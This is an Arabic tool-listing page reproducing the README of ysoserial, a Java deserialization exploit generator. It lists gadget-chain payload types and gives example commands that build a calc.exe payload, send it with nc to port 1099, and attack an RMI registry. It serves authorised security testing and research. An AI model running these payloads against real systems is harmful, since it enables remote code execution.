Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ysoserial — أداة إثبات مفهوم لتوليد الحمولات التي تستغل إلغاء تسلسل كائنات Java غير الآمن. | Kitploit
أدوات/GitHubGitHub/frohoff/ysoserial
أطر الاستغلالتوليد الحمولةتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubfrohoff/ysoserial

ysoserial

أداة إثبات مفهوم لتوليد الحمولات التي تستغل إلغاء تسلسل كائنات Java غير الآمن.

عرض المستودع
9.0k1.9kمنذ 8 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

أداة إثبات مفهوم لتوليد حمولات تستغل إلغاء تسلسل الكائنات Java غير الآمن.

logo

الوصف

صدرت أصلاً كجزء من محاضرة AppSecCali 2015 "Marshalling Pickles: how deserializing objects will ruin your day" مع سلاسل أدوات لـ Apache Commons Collections (3.x و 4.x)، Spring Beans/Core (4.x)، و Groovy (2.3.x). تم تحديثها لاحقاً لتضمين سلاسل أدوات إضافية لـ JRE <= 1.7u21 وعدة مكتبات أخرى.

ysoserial هي مجموعة من الأدوات المساعدة وسلاسل "البرمجة الموجهة بالخصائص" (gadget chains) المكتشفة في مكتبات Java شائعة والتي يمكنها، تحت الظروف المناسبة، استغلال تطبيقات Java التي تقوم بـ إلغاء تسلسل غير آمن للكائنات. يقوم البرنامج الرئيسي بأخذ أمر يحدده المستخدم ويغلّفه في سلسلة الأدوات المحددة من قبل المستخدم، ثم يسلسل هذه الكائنات إلى stdout. عندما يقوم تطبيق يحتوي على الأدوات المطلوبة في مسار الفئات (classpath) بإلغاء تسلسل هذه البيانات بطريقة غير آمنة، سيتم استدعاء السلسلة تلقائياً وتنفيذ الأمر على المضيف الذي يعمل عليه التطبيق.

يجب ملاحظة أن الثغرة تكمن في التطبيق الذي يقوم بإلغاء التسلسل غير الآمن وليس في وجود الأدوات على مسار الفئات.

إخلاء مسؤولية

تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي فقط وتطوير تقنيات دفاعية فعالة، وليس المقصود منه استخدامه لاختراق الأنظمة إلا بإذن صريح. القائمون على المشروع ليسوا مسؤولين عن سوء استخدام البرنامج. استخدمه بمسؤولية.

الاستخدام

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

أمثلة

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

التثبيت

GitHub release

قم بتنزيل أحدث إصدار jar من إصدارات GitHub.

البناء

يتطلب Java 1.7+ و Maven 3.x+

mvn clean package -DskipTests

حالة الكود

Build Status Build status

المساهمة

  1. قم بعمل Fork للمستودع
  2. أنشئ فرع الميزة الخاص بك (git checkout -b my-new-feature)
  3. قم بتسجيل تغييراتك (git commit -am 'Add some feature')
  4. ادفع إلى الفرع (git push origin my-new-feature)
  5. أنشئ طلب سحب جديد

انظر أيضًا

  • Java-Deserialization-Cheat-Sheet: معلومات حول الثغرات والأدوات والمدونات/الكتابات وغيرها.
  • marshalsec: مشروع مشابه لتنسيقات/مكتبات إلغاء تسلسل Java المختلفة
  • ysoserial.net: مشروع مشابه لإلغاء تسلسل .NET
تنزيل الأداة